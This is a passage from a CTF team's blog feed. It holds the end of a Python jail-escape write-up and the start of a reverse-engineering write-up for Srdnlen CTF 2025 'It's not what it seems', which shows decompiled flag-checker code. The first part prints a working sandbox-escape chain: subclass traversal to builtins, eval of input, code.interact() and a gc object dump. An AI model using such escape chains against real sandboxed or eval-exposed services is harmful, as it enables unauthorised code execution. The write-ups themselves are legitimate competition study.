<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>(builtins:={}.<span style="color:#41a1c0">__class__</span>.__subclasses__()[<span style="color:#d0bf69">2</span>].total.__builtins__,lst:=[].<span style="color:#41a1c0">__class__</span>(builtins),<span style="color:#d0a8ff">input</span>:=builtins[lst[<span style="color:#d0bf69">28</span>]],<span style="color:#d0a8ff">eval</span>:=builtins[lst[<span style="color:#d0bf69">20</span>]],<span style="color:#d0a8ff">eval</span>(<span style="color:#d0a8ff">input</span>(),builtins))
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># Inside eval: __import__(&#34;code&#34;).interact()</span>
</span></span></code></pre></div><p>Now that we have an interactive console, we can restore the flag by dumping all the objects tracked by the python garbage collector:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#d0a8ff">__import__</span>(<span style="color:#fc6a5d">&#34;gc&#34;</span>).get_objects()
</span></span></code></pre></div><h3 id="final-exploit">Final exploit</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>[a:={}.<span style="color:#41a1c0">__class__</span>]
</span></span><span style="display:flex;"><span>[b:=a.__subclasses__]
</span></span><span style="display:flex;"><span>[b:=b()[<span style="color:#d0bf69">2</span>].total]
</span></span><span style="display:flex;"><span>[b:=b.__builtins__]
</span></span><span style="display:flex;"><span>[a:=[].<span style="color:#41a1c0">__class__</span>(b)]
</span></span><span style="display:flex;"><span>[c:=[b[a[<span style="color:#d0bf69">20</span>]],b[a[<span style="color:#d0bf69">28</span>]]()]]
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">__import__</span>(<span style="color:#fc6a5d">&#34;code&#34;</span>).interact()
</span></span><span style="display:flex;"><span>[d:=c[<span style="color:#d0bf69">0</span>](c[<span style="color:#d0bf69">1</span>],b)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">__import__</span>(<span style="color:#fc6a5d">&#34;gc&#34;</span>).get_objects()
</span></span></code></pre></div>]]></content></item><item><title>Srdnlen CTF 2025 - It's not what it seems</title><link>https://theromanxpl0.it/posts/2025/01/srdnlen-ctf-2025-its-not-what-it-seems/</link><pubDate>Sun, 19 Jan 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/01/srdnlen-ctf-2025-its-not-what-it-seems/</guid><description>&lt;p>At first glance the challenge seems pretty standard, a flag checker, so after opening the binary with IDA, the following main function is showed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">int&lt;/span> &lt;span style="color:#fc5fa3">__fastcall&lt;/span> &lt;span style="color:#41a1c0">main&lt;/span>(&lt;span style="color:#fc5fa3">int&lt;/span> argc, &lt;span style="color:#fc5fa3">const&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> **argv, &lt;span style="color:#fc5fa3">const&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> **envp)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">__int64&lt;/span> v3; &lt;span style="color:#6c7986">// rdx
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">__int64&lt;/span> v5; &lt;span style="color:#6c7986">// rax
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> v6; &lt;span style="color:#6c7986">// eax
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> v7; &lt;span style="color:#6c7986">// [rsp+Ch] [rbp-874h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> _BYTE v8[&lt;span style="color:#d0bf69">1024&lt;/span>]; &lt;span style="color:#6c7986">// [rsp+10h] [rbp-870h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">__int64&lt;/span> v9; &lt;span style="color:#6c7986">// [rsp+410h] [rbp-470h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">__int64&lt;/span> v10; &lt;span style="color:#6c7986">// [rsp+418h] [rbp-468h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">__int64&lt;/span> v11; &lt;span style="color:#6c7986">// [rsp+420h] [rbp-460h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> _QWORD v12[&lt;span style="color:#d0bf69">3&lt;/span>]; &lt;span style="color:#6c7986">// [rsp+428h] [rbp-458h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> s[&lt;span style="color:#d0bf69">1024&lt;/span>]; &lt;span style="color:#6c7986">// [rsp+440h] [rbp-440h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> _BYTE v14[&lt;span style="color:#d0bf69">16&lt;/span>]; &lt;span style="color:#6c7986">// [rsp+840h] [rbp-40h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> _BYTE v15[&lt;span style="color:#d0bf69">32&lt;/span>]; &lt;span style="color:#6c7986">// [rsp+850h] [rbp-30h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">__int64&lt;/span> v16; &lt;span style="color:#6c7986">// [rsp+870h] [rbp-10h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> v17; &lt;span style="color:#6c7986">// [rsp+87Ch] [rbp-4h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span>)&lt;span style="color:#41a1c0">RAND_bytes&lt;/span>(v15, &lt;span style="color:#d0bf69">32LL&lt;/span>, envp) )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span>)&lt;span style="color:#41a1c0">RAND_bytes&lt;/span>(v14, &lt;span style="color:#d0bf69">16LL&lt;/span>, v3) )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;FLAG: &amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fgets&lt;/span>(s, &lt;span style="color:#d0bf69">1024&lt;/span>, _bss_start);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s[&lt;span style="color:#41a1c0">strcspn&lt;/span>(s, &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>)] = &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v9 = &lt;span style="color:#d0bf69">0x3B2E252C2E243233LL&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v10 = &lt;span style="color:#d0bf69">0x32341F327336732ELL&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v11 = &lt;span style="color:#d0bf69">0x1F7328141F347535LL&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v12[&lt;span style="color:#d0bf69">0&lt;/span>] = &lt;span style="color:#d0bf69">0x2E35261F2E71742DLL&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> *(_QWORD *)((&lt;span style="color:#fc5fa3">char&lt;/span> *)v12 + &lt;span style="color:#d0bf69">6&lt;/span>) = &lt;span style="color:#d0bf69">0x3D2E707134232E35LL&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v17 = &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v16 = &lt;span style="color:#41a1c0">EVP_CIPHER_CTX_new&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( v16 )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v5 = &lt;span style="color:#41a1c0">EVP_aes_256_cbc&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span>)&lt;span style="color:#41a1c0">EVP_EncryptInit_ex&lt;/span>(v16, v5, &lt;span style="color:#d0bf69">0LL&lt;/span>, v15, v14) == &lt;span style="color:#d0bf69">1&lt;/span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v7 = &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v6 = &lt;span style="color:#41a1c0">strlen&lt;/span>(s);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span>)&lt;span style="color:#41a1c0">EVP_EncryptUpdate&lt;/span>(v16, v8, &amp;amp;v7, s, v6) == &lt;span style="color:#d0bf69">1&lt;/span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v17 += v7;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span>)&lt;span style="color:#41a1c0">EVP_EncryptFinal_ex&lt;/span>(v16, &amp;amp;v8[v7], &amp;amp;v7) == &lt;span style="color:#d0bf69">1&lt;/span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v17 += v7;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">EVP_CIPHER_CTX_free&lt;/span>(v16);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">puts&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Nope!&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fwrite&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Error finalizing encryption.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">1uLL&lt;/span>, &lt;span style="color:#d0bf69">0x1DuLL&lt;/span>, stderr);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">EVP_CIPHER_CTX_free&lt;/span>(v16);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fwrite&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Error during encryption.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">1uLL&lt;/span>, &lt;span style="color:#d0bf69">0x19uLL&lt;/span>, stderr);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">EVP_CIPHER_CTX_free&lt;/span>(v16);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fwrite&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Error initializing encryption.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">1uLL&lt;/span>, &lt;span style="color:#d0bf69">0x1FuLL&lt;/span>, stderr);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">EVP_CIPHER_CTX_free&lt;/span>(v16);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fwrite&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Error creating context.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">1uLL&lt;/span>, &lt;span style="color:#d0bf69">0x18uLL&lt;/span>, stderr);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fwrite&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Error generating random IV.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">1uLL&lt;/span>, &lt;span style="color:#d0bf69">0x1CuLL&lt;/span>, stderr);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fwrite&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Error generating random key.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">1uLL&lt;/span>, &lt;span style="color:#d0bf69">0x1DuLL&lt;/span>, stderr);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is really a strange function, because, there is no flag check, so the first thounght is to check the &lt;strong>.init_array&lt;/strong> section for global constructors, but it ends up without functions.
The next step is to set a breakpoint on the &lt;code>EVP_EncryptFinal_ex&lt;/code> function call to see what is happening. But this breakpoint is never being triggered, so we know that something strange is happening, and after a quick realization we can find that the _start function is not the standard one:&lt;/p></description><content type="html"><![CDATA[<p>At first glance the challenge seems pretty standard, a flag checker, so after opening the binary with IDA, the following main function is showed:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">main</span>(<span style="color:#fc5fa3">int</span> argc, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **argv, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">__int64</span> v3; <span style="color:#6c7986">// rdx
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> v5; <span style="color:#6c7986">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span> v6; <span style="color:#6c7986">// eax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">int</span> v7; <span style="color:#6c7986">// [rsp+Ch] [rbp-874h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _BYTE v8[<span style="color:#d0bf69">1024</span>]; <span style="color:#6c7986">// [rsp+10h] [rbp-870h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> v9; <span style="color:#6c7986">// [rsp+410h] [rbp-470h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> v10; <span style="color:#6c7986">// [rsp+418h] [rbp-468h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> v11; <span style="color:#6c7986">// [rsp+420h] [rbp-460h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _QWORD v12[<span style="color:#d0bf69">3</span>]; <span style="color:#6c7986">// [rsp+428h] [rbp-458h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> s[<span style="color:#d0bf69">1024</span>]; <span style="color:#6c7986">// [rsp+440h] [rbp-440h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _BYTE v14[<span style="color:#d0bf69">16</span>]; <span style="color:#6c7986">// [rsp+840h] [rbp-40h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _BYTE v15[<span style="color:#d0bf69">32</span>]; <span style="color:#6c7986">// [rsp+850h] [rbp-30h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> v16; <span style="color:#6c7986">// [rsp+870h] [rbp-10h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">int</span> v17; <span style="color:#6c7986">// [rsp+87Ch] [rbp-4h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)<span style="color:#41a1c0">RAND_bytes</span>(v15, <span style="color:#d0bf69">32LL</span>, envp) )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)<span style="color:#41a1c0">RAND_bytes</span>(v14, <span style="color:#d0bf69">16LL</span>, v3) )
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;FLAG: &#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">fgets</span>(s, <span style="color:#d0bf69">1024</span>, _bss_start);
</span></span><span style="display:flex;"><span>      s[<span style="color:#41a1c0">strcspn</span>(s, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)] = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>      v9 = <span style="color:#d0bf69">0x3B2E252C2E243233LL</span>;
</span></span><span style="display:flex;"><span>      v10 = <span style="color:#d0bf69">0x32341F327336732ELL</span>;
</span></span><span style="display:flex;"><span>      v11 = <span style="color:#d0bf69">0x1F7328141F347535LL</span>;
</span></span><span style="display:flex;"><span>      v12[<span style="color:#d0bf69">0</span>] = <span style="color:#d0bf69">0x2E35261F2E71742DLL</span>;
</span></span><span style="display:flex;"><span>      *(_QWORD *)((<span style="color:#fc5fa3">char</span> *)v12 + <span style="color:#d0bf69">6</span>) = <span style="color:#d0bf69">0x3D2E707134232E35LL</span>;
</span></span><span style="display:flex;"><span>      v17 = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>      v16 = <span style="color:#41a1c0">EVP_CIPHER_CTX_new</span>();
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">if</span> ( v16 )
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>        v5 = <span style="color:#41a1c0">EVP_aes_256_cbc</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)<span style="color:#41a1c0">EVP_EncryptInit_ex</span>(v16, v5, <span style="color:#d0bf69">0LL</span>, v15, v14) == <span style="color:#d0bf69">1</span> )
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>          v7 = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>          v6 = <span style="color:#41a1c0">strlen</span>(s);
</span></span><span style="display:flex;"><span>          <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)<span style="color:#41a1c0">EVP_EncryptUpdate</span>(v16, v8, &amp;v7, s, v6) == <span style="color:#d0bf69">1</span> )
</span></span><span style="display:flex;"><span>          {
</span></span><span style="display:flex;"><span>            v17 += v7;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)<span style="color:#41a1c0">EVP_EncryptFinal_ex</span>(v16, &amp;v8[v7], &amp;v7) == <span style="color:#d0bf69">1</span> )
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>              v17 += v7;
</span></span><span style="display:flex;"><span>              <span style="color:#41a1c0">EVP_CIPHER_CTX_free</span>(v16);
</span></span><span style="display:flex;"><span>              <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Nope!&#34;</span>);
</span></span><span style="display:flex;"><span>              <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>              <span style="color:#41a1c0">fwrite</span>(<span style="color:#fc6a5d">&#34;Error finalizing encryption.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">0x1DuLL</span>, stderr);
</span></span><span style="display:flex;"><span>              <span style="color:#41a1c0">EVP_CIPHER_CTX_free</span>(v16);
</span></span><span style="display:flex;"><span>              <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>          }
</span></span><span style="display:flex;"><span>          <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>          {
</span></span><span style="display:flex;"><span>            <span style="color:#41a1c0">fwrite</span>(<span style="color:#fc6a5d">&#34;Error during encryption.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">0x19uLL</span>, stderr);
</span></span><span style="display:flex;"><span>            <span style="color:#41a1c0">EVP_CIPHER_CTX_free</span>(v16);
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>          }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>          <span style="color:#41a1c0">fwrite</span>(<span style="color:#fc6a5d">&#34;Error initializing encryption.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">0x1FuLL</span>, stderr);
</span></span><span style="display:flex;"><span>          <span style="color:#41a1c0">EVP_CIPHER_CTX_free</span>(v16);
</span></span><span style="display:flex;"><span>          <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">fwrite</span>(<span style="color:#fc6a5d">&#34;Error creating context.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">0x18uLL</span>, stderr);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">fwrite</span>(<span style="color:#fc6a5d">&#34;Error generating random IV.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">0x1CuLL</span>, stderr);
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
